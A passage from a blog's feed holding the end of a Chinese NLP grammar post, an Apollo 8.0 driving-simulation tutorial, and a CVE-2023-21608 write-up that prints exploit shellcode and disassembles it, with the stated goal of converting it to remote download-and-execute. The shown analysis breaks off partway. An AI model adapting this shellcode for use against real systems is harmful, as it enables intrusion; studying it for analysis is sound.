Reader，转指读书相关的人</li><li>自指：指相关行为或事物本身</li></ol><table><thead><tr><th></th><th>甲类</th><th>乙类</th></tr></thead><tbody><tr><td>语法性质（语法）</td><td>名词</td><td>名词</td></tr><tr><td>主语（语法）</td><td>可以作主语</td><td>可以作主语</td></tr><tr><td>定语（语法）</td><td>可以作定语</td><td>不可以作定语</td></tr><tr><td>转指（语义）</td><td>可以表示转指</td><td>不能表示转指</td></tr><tr><td>自指（语义）</td><td>可以表示转指</td><td>可以表示自指</td></tr></tbody></table><h3 id="相关课程链接"><a class="markdownIt-Anchor" href="#相关课程链接"></a> 相关课程链接</h3><p><a href="https://open.163.com/newview/movie/free?pid=MDO8NL527&amp;mid=MDO8SE5AV">北京大学公开课-现代汉语语法研究</a></p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;常见短语&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#常见短语&quot;&gt;&lt;/a&gt; 常见短语&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;短语缩写&lt;/th&gt;
&lt;th&gt;构成&lt;/th&gt;
&lt;th&gt;例子&lt;/th&gt;
&lt;th&gt;中文名称&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NP&lt;/td&gt;
&lt;td&gt;NP-&amp;gt;NN&lt;/td&gt;
&lt;td&gt;武器&lt;/td&gt;
&lt;td&gt;名词短语&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DP&lt;/td&gt;
&lt;td&gt;D+NP&lt;/td&gt;
&lt;td&gt;那书&lt;/td&gt;
&lt;td&gt;限定词短语&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AP&lt;/td&gt;
&lt;td&gt;ADJ+NP&lt;/td&gt;
&lt;td&gt;干净的水&lt;/td&gt;
&lt;td&gt;形容词短语&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AP&lt;/td&gt;
&lt;td&gt;ADV+ADJP&lt;/td&gt;
&lt;td&gt;很晚&lt;/td&gt;
&lt;td&gt;副词短语&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VP&lt;/td&gt;
&lt;td&gt;V+DP&lt;/td&gt;
&lt;td&gt;读书&lt;/td&gt;
&lt;td&gt;动词短语&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PP&lt;/td&gt;
&lt;td&gt;P+DP&lt;/td&gt;
&lt;td&gt;在桌子上&lt;/td&gt;
&lt;td&gt;介词短语&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ConJP&lt;/td&gt;
&lt;td&gt;DP+Conj+DP&lt;/td&gt;
&lt;td&gt;一支笔和一本书&lt;/td&gt;
&lt;td&gt;并列结构连词短语&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;S（IP）&lt;/td&gt;
&lt;td&gt;DP+VP&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;句子/通常会用TP代替IP带时态&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;D+I+V+D+N&lt;br /&gt;代词 + 动词 + 曲折变化 + 代词 + 名词&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;句子/其中I 指曲折变化&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</summary>
    
    
    
    <category term="基础知识" scheme="http://ioo0s.art/categories/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="NLP" scheme="http://ioo0s.art/tags/NLP/"/>
    
    <category term="自然语言处理" scheme="http://ioo0s.art/tags/%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%E7%90%86/"/>
    
  </entry>
  
  <entry>
    <title>Apollo 8.0教程</title>
    <link href="http://ioo0s.art/2024/01/05/Apollo-8-0%E6%95%99%E7%A8%8B/"/>
    <id>http://ioo0s.art/2024/01/05/Apollo-8-0%E6%95%99%E7%A8%8B/</id>
    <published>2024-01-05T11:43:54.000Z</published>
    <updated>2024-01-05T19:49:53.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="环境搭建"><a class="markdownIt-Anchor" href="#环境搭建"></a> 环境搭建</h2><p>按照<a href="https://apollo.baidu.com/Apollo-Homepage-Document/Apollo_Doc_CN_8_0/%E5%AE%89%E8%A3%85%E8%AF%B4%E6%98%8E/%E6%BA%90%E7%A0%81%E5%AE%89%E8%A3%85">apollo.baidu.com</a>中的教程进行创建</p><pre class="highlight"><code class="">git clone https://github.com/ApolloAuto/apollo.gitbashdocker/scripts/dev_start.sh</code></pre><span id="more"></span><p><img src="Untitled.png" alt="Untitled" /></p><p>进入到环境中</p><pre class="highlight"><code class="">bash docker/scripts/dev_into.sh</code></pre><p><img src="Untitled1.png" alt="Untitled" /></p><p>编译apollo源码</p><pre class="highlight"><code class="">bash apollo.sh build</code></pre><p><img src="Untitled2.png" alt="Untitled" /></p><p>提示下列信息则代表成功编译</p><p><img src="Untitled3.png" alt="Untitled" /></p><h2 id="基础使用"><a class="markdownIt-Anchor" href="#基础使用"></a> 基础使用</h2><p>所有功能都必须保证在apollo的容器中执行</p><pre class="highlight"><code class=""> cd /data/Project/apollo/ bash docker/scripts/dev_start.sh bash docker/scripts/dev_into.sh</code></pre><h3 id="dreamview"><a class="markdownIt-Anchor" href="#dreamview"></a> Dreamview</h3><p>启动命令</p><pre class="highlight"><code class=""> bash scripts/bootstrap.sh</code></pre><p>显示下方图片信息则代表成功启动</p><p><img src="Untitled4.png" alt="Untitled" /></p><h3 id="使用tabby将远程8888代理到本地"><a class="markdownIt-Anchor" href="#使用tabby将远程8888代理到本地"></a> 使用Tabby将远程8888代理到本地</h3><p>点击端口-&gt;本地-&gt;将0.0.0.0:8888 代理到本机的127.0.0.1:8888</p><p><img src="Untitled5.png" alt="Untitled" /></p><p>通过浏览器进入Dreamview</p><p><img src="Untitled6.png" alt="Untitled" /></p><h3 id="cyber_recorder"><a class="markdownIt-Anchor" href="#cyber_recorder"></a> cyber_recorder</h3><p>使用官方demo数据包</p><pre class="highlight"><code class="">wget https://apollo-system.cdn.bcebos.com/dataset/6.0_edu/demo_3.5.record</code></pre><h3 id="数据包信息topic查看"><a class="markdownIt-Anchor" href="#数据包信息topic查看"></a> 数据包信息（Topic）查看</h3><pre class="highlight"><code class="">cyber_recorder info demo_3.5.record</code></pre><p><img src="Untitled7.png" alt="Untitled" /></p><h3 id="数据包播放"><a class="markdownIt-Anchor" href="#数据包播放"></a> 数据包播放</h3><p>循环播放命令-l</p><pre class="highlight"><code class="">cyber_recorder play -f demo_3.5.record -l</code></pre><p><img src="Untitled8.png" alt="Untitled" /></p><p>此时可以在view中查看实时视图</p><p><img src="Untitled9.png" alt="Untitled" /></p><h3 id="topic记录record"><a class="markdownIt-Anchor" href="#topic记录record"></a> Topic记录(record)</h3><h3 id="record分离split"><a class="markdownIt-Anchor" href="#record分离split"></a> record分离(split)</h3><h3 id="record恢复"><a class="markdownIt-Anchor" href="#record恢复"></a> record恢复</h3><h3 id="cyber_monitor"><a class="markdownIt-Anchor" href="#cyber_monitor"></a> cyber_monitor</h3><p>监控仿真中的Topic流信息，按➡️键查看Topic详细信息，按FN+⬆️或者FN+⬇️键翻页</p><p><img src="Untitled10.png" alt="Untitled" /></p><p>详细信息</p><p><img src="Untitled11.png" alt="Untitled" /></p><h3 id="cyber_channel"><a class="markdownIt-Anchor" href="#cyber_channel"></a> cyber_channel</h3><h2 id="使用sim-control仿真自动驾驶"><a class="markdownIt-Anchor" href="#使用sim-control仿真自动驾驶"></a> 使用Sim control仿真自动驾驶</h2><ol><li>在右上角选择仿真车辆为Mikz Example，高精地图为San Mateo</li><li>打开左下角的Sim Control 开关</li></ol><p><img src="Untitled12.png" alt="Untitled" /></p><ol><li>在左侧菜单中选择Module Controller，打开Planning和Routing，打开后会看到在车身位置生成了一个<strong>规划障碍墙（如果未显示则代表开启失败，需要重新开启）</strong></li></ol><p><img src="Untitled13.png" alt="Untitled" /></p><ol><li>在左侧菜单中选择Route Editing，接着在地图中点击鼠标左键添加起点与终点，同样可以添加途径点</li><li>添加完毕后 点击上方菜单 Send Routing Request</li></ol><p><img src="Untitled14.png" alt="Untitled" /></p><ol><li>点击send后后跳转到首页视图，此时后显示红色线（route搜索路径）、蓝色线（Planning规划路径）</li></ol><p><img src="Untitled15.png" alt="Untitled" /></p><h2 id="定速巡航场景仿真调试"><a class="markdownIt-Anchor" href="#定速巡航场景仿真调试"></a> 定速巡航场景仿真调试</h2><ol><li>修改配置文件</li></ol><pre class="highlight"><code class="">cd /apollo/modules/planning/conf/vim planning.conf--planning_upper_speed_limit=80.00</code></pre><ol><li>修改下方两个参数更改定速巡航的最高限速和加速度m/s</li></ol><p><img src="Untitled16.png" alt="Untitled" /></p><ol><li>尝试修改成最高限速80、加速度22.22m/s(80km/h)</li></ol><p><img src="Untitled17.png" alt="Untitled" /></p><ol><li>保存文件后，在Module Controller中关闭并再次打开Planning</li></ol><p><img src="Untitled18.png" alt="Untitled" /></p><p>5.选择新的规划路线，并Send，发现最高限速没超过40km/h</p><p><img src="Untitled19.png" alt="Untitled" /></p><h2 id="ndt高精地图制作"><a class="markdownIt-Anchor" href="#ndt高精地图制作"></a> NDT高精地图制作</h2><p>主要使用：<a href="https://github.com/daohu527/ndt_mapping">https://github.com/daohu527/ndt_mapping</a></p><ol><li>下载样例数据并解压</li></ol><pre class="highlight"><code class="">wget https://apollo-system.cdn.bcebos.com/dataset/6.0_edu/demo_sensor_data_for_vision.tar.xztar -xvf demo_sensor_data_for_vision.tar.xz</code></pre><p><img src="Untitled20.png" alt="Untitled" /></p><ol><li>查看demo中的topic信息，找到点云topic名称</li></ol><pre class="highlight"><code class="">cyber_recorder info demo_sensor_data_for_vision.record</code></pre><p><img src="Untitled21.png" alt="Untitled" /></p><ol><li>编译localization模块</li></ol><pre class="highlight"><code class="">./apollo.sh build localization</code></pre><p><img src="Untitled22.png" alt="Untitled" /></p><ol><li>提取点云数据</li></ol><p>激光雷达点云信息与车辆姿态信息(注意cloud_topic参数名称为数据包中的名称)</p><pre class="highlight"><code class="">./bazel-bin/modules/localization/msf/local_tool/data_extraction/cyber_record_parser --bag_file=./demo_sensor_data_for_vision.record  --out_folder=data --cloud_topic=/apollo/sensor/velodyne64/compensator/PointCloud2</code></pre><p><img src="Untitled23.png" alt="Untitled" /></p><p>提取后的目录信息</p><p><img src="Untitled24.png" alt="Untitled" /></p><ol><li>根据激光雷达的外部参数和时间戳对姿态进行插值。校正后的姿势保存在 <code>-output_poses_path</code> 中</li></ol><pre class="highlight"><code class="">./bazel-bin/modules/localization/msf/local_tool/map_creation/poses_interpolator --input_poses_path=data/pcd/odometry_loc.txt --ref_timestamps_path=data/pcd/pcd_timestamp.txt --extrinsic_path=modules/localization/msf/params/velodyne_params/velodyne64_novatel_extrinsics_example.yaml --output_poses_path=data/pcd/poses.txt</code></pre><p><img src="Untitled25.png" alt="Untitled" /></p><ol><li>下载并编译ndt-mapping工具</li></ol><pre class="highlight"><code class="">sudo apt updatesudo apt install libgflags-dev libpcl-dev libeigen3-devsudo ln -s /usr/include/pcl-1.8/pcl /usr/include/pclsudo ln -s /usr/include/eigen3/Eigen /usr/include/Eigensudo ln -s /usr/include/eigen3/unsupported /usr/include/unsupportedgit clone https://github.com/daohu527/ndt_mapping.gitcd ndt_mappingbazel build src/ndt_mapping</code></pre><p><img src="Untitled26.png" alt="Untitled" /></p><ol><li>使用ndt-mapping工具生成融合PCD地图</li></ol><pre class="highlight"><code class="">cd /apollo/./ndt_mapping/bazel-bin/src/ndt_mapping</code></pre><p><img src="Untitled27.png" alt="Untitled" /></p><p>融合完成后会生成./data/output.pcd</p><p><img src="Untitled28.png" alt="Untitled" /></p><p>可以使用软件查看该文件（ <a href="https://www.danielgm.net/cc/release/">CloudCompare</a>）</p><p><img src="Untitled29.png" alt="Untitled" /></p><ol><li>构建地图</li></ol><p>最终会保存在/apollo/data/ndt_map/output_pcd/中(手动创建创建)</p><pre class="highlight"><code class="">cd /apollo/datamkdir ndt_mapmkdir output_pcd./bazel-bin/modules/localization/ndt/map_creation/ndt_map_creator --pcd_folders=/apollo/data/pcd --pose_files=/apollo/data/pcd/poses.txt --resolution_type=single --resolution=1 --zone_id=10 --map_folder=/apollo/data/ndt_map/output_pcd/</code></pre><p><img src="Untitled30.png" alt="Untitled" /></p><p>生成完毕后查看目录</p><p><img src="Untitled31.png" alt="Untitled" /></p><h2 id="ndt融合定位"><a class="markdownIt-Anchor" href="#ndt融合定位"></a> NDT融合定位</h2><p>NDT（先验地图）模块介绍</p><p><img src="Untitled32.png" alt="Untitled" /></p><ol><li>修改数据配置信息中的地图路径为刚才生成的路径</li></ol><pre class="highlight"><code class="">vim /apollo/modules/common/data/global_flagfile.txt</code></pre><p>改为：/apollo/data/</p><ol><li>设置地图的UTM zone id，修改激光雷达的外参文件和topic，要与数据包中实际发布的一致。同时还需要修改local_map的名称为output_pcd</li></ol><pre class="highlight"><code class="">vim /apollo/modules/localization/conf/localization.conf</code></pre><p><img src="Untitled33.png" alt="Untitled" /></p><p>接着修改zone_id与topic信息</p><p><img src="Untitled34.png" alt="Untitled" /></p><ol><li>启动NDT模块</li></ol><pre class="highlight"><code class="">cyber_launch start /apollo/modules/localization/launch/ndt_localization.launch</code></pre><p><img src="Untitled35.png" alt="Untitled" /></p><ol><li>新起一个bash，播放数据包中指定的Topic</li></ol><pre class="highlight"><code class="">cyber_recorder play -f demo_sensor_data_for_vision.record -c /apollo/sensor/gnss/odometry  /apollo/sensor/velodyne64/compensator/PointCloud2  /apollo/sensor/gnss/ins_stat -l</code></pre><p><img src="Untitled36.png" alt="Untitled" /></p><ol><li>使用cyber_monitor查看结果</li></ol><p>输入数据：</p><p>/apollo/sensor/gnss/odometry  #里程计数据</p><p>/apollo/sensor/velodyne64/compensator/PointCloud2  # lidar数据</p><p>/apollo/sensor/gnss/ins_stat # ins_stat 数据</p><p>输出数据：</p><p>/apollo/localization/pose</p><p>/apollo/localization/ndt_lidar</p><p>/apollo/localization/msf_status</p><p><img src="Untitled37.png" alt="Untitled" /></p><p>查看msf融合结果的状态 Error代表点云数据状态错误，导致定位信息不正确</p><p><img src="Untitled38.png" alt="Untitled" /></p><p>最后：</p><p>如果要启动dreamView请恢复之前修改的配置信息</p><h2 id="lgsvl仿真环境下制作高精地图"><a class="markdownIt-Anchor" href="#lgsvl仿真环境下制作高精地图"></a> Lgsvl仿真环境下制作高精地图</h2><ol><li>Lgsvl下载</li></ol><pre class="highlight"><code class="">wget https://github.com/lgsvl/simulator/releases/download/2021.3/svlsimulator-linux64-2021.3.zipunzip svlsimulator-linux64-2021.3.zipcd svlsimulator-linux64-2021.3./simulator</code></pre><ol><li>SLV本地云环境搭建</li></ol><pre class="highlight"><code class="">git clone https://github.com/YuqiHuai/SORA-SVL</code></pre><ol><li>下载地图资源文件并导入云</li></ol><pre class="highlight"><code class="">https://drive.google.com/drive/folders/1bv02d29z4lSB9SWzCBTUt0GjAb876oSR?usp=sharing</code></pre><p>下载总是失败，暂时不继续搭建</p><h2 id="carla仿真环境下制作高精地图"><a class="markdownIt-Anchor" href="#carla仿真环境下制作高精地图"></a> Carla仿真环境下制作高精地图</h2><ol><li>下载并启动Carla</li></ol><p><a href="https://carla.readthedocs.io/en/latest/build_linux/">https://carla.readthedocs.io/en/latest/build_linux/</a></p><p><a href="https://www.cnblogs.com/ppqppl/articles/17087930.html">https://www.cnblogs.com/ppqppl/articles/17087930.html</a></p><p>或者使用docker</p><pre class="highlight"><code class="">git clone git@github.com:guardstrikelab/carla_apollo_bridge.gitcd carla_apollo_bridge/carla_scripts/./docker_run_carla.sh</code></pre><ol><li>配置carla_bridge</li></ol><pre class="highlight"><code class="">cd carla_apollo_bridge/docker cpcarla_bridge apollo_dev_lixiang:/apollo/modules/carla_bridge</code></pre><ol><li>在apollo容器中配置</li></ol><pre class="highlight"><code class="">cd /apollo/modules/carla_bridgechmod +x install.sh./install.shsource ~/.bashrcpython -m pip install carla</code></pre><p><img src="Untitled39.png" alt="Untitled" /></p><ol><li>修改mkz_standard_debug.pb.txt中的localization从msf改为rtk模式</li></ol><pre class="highlight"><code class="">vim modules/dreamview/conf/hmi_modes/mkz_standard_debug.pb.txt</code></pre><p><img src="Untitled40.png" alt="Untitled" /></p><ol><li>重编译apollo</li></ol><pre class="highlight"><code class="">./scripts/bootstrap.sh stop./apollo.sh build_gpu</code></pre><ol><li>重启Dreamview，同时确保<code>/apollo/modules/map/data</code> 路径下存在carla的地图信息</li></ol><pre class="highlight"><code class="">./scripts/bootstrap.sh stop./scripts/bootstrap.sh start</code></pre><p><img src="Untitled41.png" alt="Untitled" /></p><p>确保地图存在过程：</p><p><img src="Untitled42.png" alt="Untitled" /></p><ol><li>启动</li></ol><pre class="highlight"><code class="">python main.py</code></pre><p><img src="Untitled43.png" alt="Untitled" /></p><ol><li>选择地图为Carla Town01，并且点击Setup（点击后会启动planning等其他模块）</li></ol><p><a href="https://li.feishu.cn/space/api/box/stream/download/asynccode/?code=MDA0OGI3YWY0ZWRhNDU1YjliNjgwYmM2M2YxMzcxNDNfSDgzNWl1WWs2UVZHQ09UdTl4aDN2RWp3NURXcFVJZlNfVG9rZW46RFI4d2JGWVpEb1VuUTh4Z0JBVGNnTlFtbnJiXzE3MDQzNjEzODg6MTcwNDM2NDk4OF9WNA">https://li.feishu.cn/space/api/box/stream/download/asynccode/?code=MDA0OGI3YWY0ZWRhNDU1YjliNjgwYmM2M2YxMzcxNDNfSDgzNWl1WWs2UVZHQ09UdTl4aDN2RWp3NURXcFVJZlNfVG9rZW46RFI4d2JGWVpEb1VuUTh4Z0JBVGNnTlFtbnJiXzE3MDQzNjEzODg6MTcwNDM2NDk4OF9WNA</a></p><ol><li>在Tasks-&gt;Others中打开Camera Sensor，并且在右侧视图中选择摄像头信息即可查看实时画面，</li><li>在Module Controller中开启Routing、Planning、Control（如果控制不好使，可以多次打开Control）</li></ol><p><img src="Untitled44.png" alt="Untitled" /></p><ol><li>打开激光雷达视图，打开后会在车身可视化雷达点云数据</li></ol><p><img src="Untitled45.png" alt="Untitled" /></p><ol><li>运行录制命令</li></ol><pre class="highlight"><code class="">cyber_recorder record -a -o map_gen_test.record</code></pre><p><img src="Untitled46.png" alt="Untitled" /></p><ol><li>在Route Editing中选择需要跑的路段，并发送信息（此处存在问题：选择起点时，需要Route图中车辆后方，实际这里是车辆前方）</li></ol><p><img src="Untitled47.png" alt="Untitled" /></p><ol><li>接着路径规划完毕后会同步apollo的车辆行驶信息和carla中</li></ol><p><img src="Untitled48.png" alt="Untitled" /></p><ol><li>等待车辆行驶完毕后，ctr-c关闭录制，并提取数据中的路径信息</li></ol><pre class="highlight"><code class="">/apollo/bazel-bin/modules/tools/map_gen/extract_path test.csv map_gen_test.record.00000 map_gen_test.record.00001 map_gen_test.record.00002 map_gen_test.record.00003</code></pre><p><img src="Untitled49.png" alt="Untitled" /></p><ol><li>生成 base_map</li></ol><pre class="highlight"><code class="">./bazel-bin/modules/tools/map_gen/map_gen test.csv</code></pre><p>生成后会得到一个map_test.csv.txt文件</p><ol><li>创建地图文件夹，并将base_map文件复制进去</li></ol><pre class="highlight"><code class="">mkdir modules/map/data/test_mapcp map_test.csv.txt modules/map/data/test_map/base_map.txt</code></pre><ol><li>高精地图生成</li></ol><pre class="highlight"><code class="">./bazel-bin/modules/map/tools/sim_map_generator --map_dir=modules/map/data/test_map/ --output_dir=modules/map/data/test_map/</code></pre><p><img src="Untitled50.png" alt="Untitled" /></p><p>此时后生成sim_map.bin和sim_map.txt</p><p><img src="Untitled51.png" alt="Untitled" /></p><pre class="highlight"><code class="">./scripts/generate_routing_topo_graph.sh --map_dir modules/map/data/test_map</code></pre><p>执行后生成routing_map.bin和routing_map.txt</p><p><img src="Untitled52.png" alt="Untitled" /></p><p>至此高精地图生成完毕</p><ol><li>配置并加载高精地图</li></ol><pre class="highlight"><code class="">vim /apollo/modules/common/data/global_flagfile.txt./scripts/bootstrap.sh stop./scripts/bootstrap.sh start</code></pre><p>添加一个map_dir为test_map</p><p><img src="Untitled53.png" alt="Untitled" /></p><p>重启dreamview</p><p><img src="Untitled54.png" alt="Untitled" /></p><p>发现列表中已经有了我们的test_map了</p><p><img src="Untitled55.png" alt="Untitled" /></p><ol><li>启动sim control，并在route中对比生成的地图</li></ol><p>生成后的地图：</p><p><img src="Untitled56.png" alt="Untitled" /></p><p>生成前的地图（红线部分！）：</p><p><img src="Untitled57.png" alt="Untitled" /></p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;环境搭建&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#环境搭建&quot;&gt;&lt;/a&gt; 环境搭建&lt;/h2&gt;
&lt;p&gt;按照&lt;a href=&quot;https://apollo.baidu.com/Apollo-Homepage-Document/Apollo_Doc_CN_8_0/%E5%AE%89%E8%A3%85%E8%AF%B4%E6%98%8E/%E6%BA%90%E7%A0%81%E5%AE%89%E8%A3%85&quot;&gt;apollo.baidu.com&lt;/a&gt;中的教程进行创建&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;&quot;&gt;git clone https://github.com/ApolloAuto/apollo.git
bashdocker/scripts/dev_start.sh

&lt;/code&gt;&lt;/pre&gt;</summary>
    
    
    
    <category term="基础知识" scheme="http://ioo0s.art/categories/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="自动驾驶" scheme="http://ioo0s.art/tags/%E8%87%AA%E5%8A%A8%E9%A9%BE%E9%A9%B6/"/>
    
    <category term="Apollo8.0" scheme="http://ioo0s.art/tags/Apollo8-0/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2023-21608</title>
    <link href="http://ioo0s.art/2023/03/15/CVE-2023-21608/"/>
    <id>http://ioo0s.art/2023/03/15/CVE-2023-21608/</id>
    <published>2023-03-15T01:07:17.000Z</published>
    <updated>2023-03-15T01:10:07.000Z</updated>
    
    <content type="html"><![CDATA[<p>Shellcode 分析</p><h2 id="目的"><a class="markdownIt-Anchor" href="#目的"></a> 目的</h2><p>为了改造该 exp 为远程命令执行，还需要对 shellcode 进行修改</p><h3 id="前置知识"><a class="markdownIt-Anchor" href="#前置知识"></a> 前置知识</h3><h2 id="strongpebstrong"><a class="markdownIt-Anchor" href="#strongpebstrong"></a> <strong>PEB</strong></h2><p>内容引用自 <a href="https://xz.aliyun.com/t/10478">x32 PEB: 获取 Kernel32 基地址的原理及实现 - 先知社区</a></p><p><strong>TEB</strong>（Thread Environment Block，线程环境块）系统在此 TEB 中保存频繁使用的线程相关的数据。位于用户地址空间，在比 PEB 所在地址低的地方。用户模式下，当前线程的 TEB 位于独立的 4KB 段(页)，可通过 CPU 的 FS 寄存器来访问该段，一般存储在[FS:0]</p><span id="more"></span><p><strong>PEB</strong>（Process Environment Block，进程环境块）存放进程信息，每个进程都有自己的 PEB 信息。位于用户地址空间。可在 TEB 结构地址偏移 0x30 处获得 PEB 的地址位置。</p><pre class="highlight"><code class="">typedef struct _PEB &#123;  BYTE                          Reserved1[2];  BYTE                          BeingDebugged;  BYTE                          Reserved2[1];  PVOID                         Reserved3[2];  PPEB_LDR_DATA                 Ldr;  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;  PVOID                         Reserved4[3];  PVOID                         AtlThunkSListPtr;  PVOID                         Reserved5;  ULONG                         Reserved6;  PVOID                         Reserved7;  ULONG                         Reserved8;  ULONG                         AtlThunkSListPtr32;  PVOID                         Reserved9[45];  BYTE                          Reserved10[96];  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;  BYTE                          Reserved11[128];  PVOID                         Reserved12[1];  ULONG                         SessionId;&#125; PEB, *PPEB;</code></pre><h2 id="具体分析"><a class="markdownIt-Anchor" href="#具体分析"></a> 具体分析</h2><pre class="highlight"><code class="">var shellcode = [    // recovery prefix       (store reg context)    // 0x909090CC,    0x89e083e8, 0x18535256, 0x57505590,    // shellcode    835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443,    1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071,    469892611, 1018101719, 2425393296,    // recovery suffix    // 0x909090CC,    /*restore regs*/ 0x58585d58, /*restore vtable*/ 0x8b48608b, 0x50648911, /*pop regs*/ 0x5f5e5a5b,    /*restore ebp,esp: 0x89ea83ea, 0x3089d490, */ 0x89ec83ec, 0x30909090, /* esi = fn*/ 0x8b706890,    /*arrbuf restore*/ 0x53bb4000, 0x00208b50, 0x6cc7430c, 0xe8ff0000, 0xc74220e8, 0xff000090,    0x8953108b, 0x50708913, 0x8b507489, 0x530431d2, 0x5b909090, /*jmp esi*/ 0xffe69090    /*jmp defaultVal 0xff606890*/];</code></pre><p>通过验证可以得知该 shellcode 的作用是弹出计算机，但我们的最终目的是为了远程下载并执行文件。</p><p>shellcode 部分</p><pre class="highlight"><code class="">835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443,    1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071,    469892611, 1018101719, 2425393296</code></pre><p>都是 10 进制字符串，尝试简单转 16 进制看看</p><pre class="highlight"><code class="">shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443,    1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071,    469892611, 1018101719, 2425393296]for shell_bytes in shellcode:    print(hex(shell_bytes))</code></pre><p>执行结果，所以先转 16 进制没问题</p><pre class="highlight"><code class="">0x31d252680x63616c63 # calc 的ascii0x545952510x648b72300x8b760c8b0x760cad8b0x308b7e180x8b5f3c8b0x5c1f788b0x741f20010xfe8b541f0x240fb72c0x174242ad0x813c07570x696e45750xf08b741f0x1c01fe030x3caeffd70x90909090 # nop</code></pre><p>其中最后一行的 <code>0x90909090</code> 特征比较明显，是 x86 汇编中的 <code>nop</code>，主要作用是对齐栈。</p><p>第二步，将片段 16 进制代码转汇编</p><h3 id="获取-kernel32dll-基地址"><a class="markdownIt-Anchor" href="#获取-kernel32dll-基地址"></a> 获取 kernel32.dll 基地址</h3><p>此段 shellcode 主要用于获取 kernel32.dll 的基地址，该部分的理解参考了该文章：<a href="https://xz.aliyun.com/t/10478#toc-0">x32 PEB: 获取 Kernel32 基地址的原理及实现 - 先知社区</a>。</p><ol><li>0x31d25268</li></ol><pre class="highlight"><code class="">Array Literal:&#123; 0x31, 0xD2, 0x52, 0x68 &#125;Disassembly:0:  31 d2                   xor    edx,edx2:  52                      push   edx3:  68                      .byte 0x68</code></pre><ol start="2"><li>0x63616c63</li></ol><p>由于第一段多了个 68，所以补在这一段</p><p>将 <code>calc</code> 字符串压栈</p><pre class="highlight"><code class="">Array Literal:&#123; 0x68, 0x63, 0x61, 0x6C, 0x63 &#125;Disassembly:0:  68 63 61 6c 63          push   0x636c6163 # 存字符串</code></pre><ol start="3"><li>0x54595251</li></ol><pre class="highlight"><code class="">Array Literal:&#123; 0x54, 0x59, 0x52, 0x51 &#125;Disassembly:0:  54                      push   esp #压入字符串所在地址1:  59                      pop    ecx # 将字符串所在地址复制给ecx2:  52                      push   edx # 压入edx3:  51                      push   ecx #压入ecx</code></pre><p>执行到 pop ecx 时的内存情况，ecx 指向 calc 的所在地址</p><p><img src="boxcnEPdCsCBmg4HIJ4Cq0uPeAg.png" alt="" /></p><ol start="4"><li>0x648b7230</li></ol><pre class="highlight"><code class="">Array Literal:&#123; 0x64, 0x8B, 0x72, 0x30 &#125;Disassembly:0:  64 8b 72 30             mov    esi,DWORD PTR fs:[edx+0x30]</code></pre><p>edx 此时为 0 ，获取 fs 段 +0x30 处地址放入 esi，下图为执行后的 ESI 结果 <code>FF4F4000</code></p><p>在 TEB 结构地址偏移 0x30 处获得 PEB 的地址位置</p><p><img src="boxcn87FydCapWYkXl6yIkuQosh.png" alt="" /></p><ol start="5"><li>0x8b760c8b</li></ol><pre class="highlight"><code class="">Array Literal:&#123; 0x8B, 0x76, 0x0C, 0x8B &#125;Disassembly:0:  8b 76 0c                mov    esi,DWORD PTR [esi+0xc]3:  8b                      .byte 0x8b</code></pre><p>多出的 8b 放入下一层反编译</p><p>执行该条命令前 esi 指向 fs+0x30 处，接着再将 esi+0xc 取值到 esi ,从下图可以看到此时 esi 变成了 ntdll 所在地址，</p><p>本次操作主要目的为获取指向 <code>PEB-&gt;PEB_LDR_DATA</code> 的指针</p><p><img src="boxcnF7FLiTQJLKQj1vTeNQ7yDg.png" alt="" /></p><ol start="6"><li>0x760cad8b</li></ol><pre class="highlight"><code class="">Array Literal:&#123; 0x8B, 0x76, 0x0C, 0xAD, 0x8B &#125;Disassembly:0:  8b 76 0c                mov    esi,DWORD PTR [esi+0xc]3:  ad                      lods   eax,DWORD PTR ds:[esi]4:  8b                      .byte 0x8b</code></pre><p>反汇编时要拼接上一轮没有被反编译的 0xb8，看到是再次对 esi+0xc 并取该处的值 得到一个程序内的地址，该地址指向 <code>PEB-&gt;PEB_LDR_DATA-&gt;InLoadOrderModuleList</code> 的 Flink 字段</p><p>图片引用自 <a href="https://xz.aliyun.com/t/10478">https://xz.aliyun.com/t/10478</a></p><p><img src="boxcnF4iijWBxxjcwGxrhM0j0T7.png" alt="" /></p><p>lodsd 后 指向 Flink 从第 0 